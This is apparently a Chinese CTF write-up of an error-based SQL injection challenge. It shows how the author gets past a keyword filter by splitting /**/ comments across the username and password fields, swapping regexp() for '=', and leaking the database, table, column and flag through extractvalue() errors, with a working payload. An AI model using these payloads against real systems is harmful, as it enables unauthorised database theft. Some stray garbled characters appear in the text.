加了料的報錯注入
(對https://blog.csdn.net/taozijun/article/details/80400053進行補充)
嗯這個題直接提示了首先打開hackbar采用post提交
我們直接試試提交admin? 好的不行(那肯定不行暗)
題目寫的很明白報錯注入
這個題肯定是要用sql注入了
常規(guī)的一般不行什么and 1=2啊 這些都會被過濾 并提示 sql injection detected
參考了別人的wp
主要有幾個關(guān)鍵點
extractvalue(目標xml文檔亏吝,xml路徑)
參考這一篇文章
https://blog.csdn.net/zpy1998zpy/article/details/80631036
讀完之后發(fā)現(xiàn)這個題很好理解了
/**/注釋
‘or or’這樣前后閉合
(小白有點懵我試著去掉最后一個or’是無法成功注入的
看到最后有一個單引號想想是為了和前面的’閉合吧
試著去掉or發(fā)現(xiàn)并不成功 我的猜想錯了嗎牍陌? 求教大佬!亲怠!
所以這算是一種套路嗎?)
“=”被過濾采用regexp()的繞過(get到了新姿勢)
參考extractvalue這個函數(shù)我們大致可以構(gòu)造出如下的payload
后面的爆數(shù)據(jù)熟悉的不能再熟悉了? 往下看 在爆的時候有一個需要注意的地方
爆數(shù)據(jù)庫得到error_based_hpf
爆表
username=admin' or extractvalue/*&password=admin*/(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),'~')) or'?
(后面的‘’~‘’可以去掉 這里是為了方便查看 但前面的并不可以 因為去掉之后沒有語法錯誤,不會報錯這里是參考extractvalue)
得到表’ffll44jj’
爆列
select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'
得到列名value
爆數(shù)據(jù)
select group_concat(value) from error_based_hpf.ffll44jj
得flag
XPATH syntax error: '~flag{err0r_b4sed_sqli_+_hpf}~'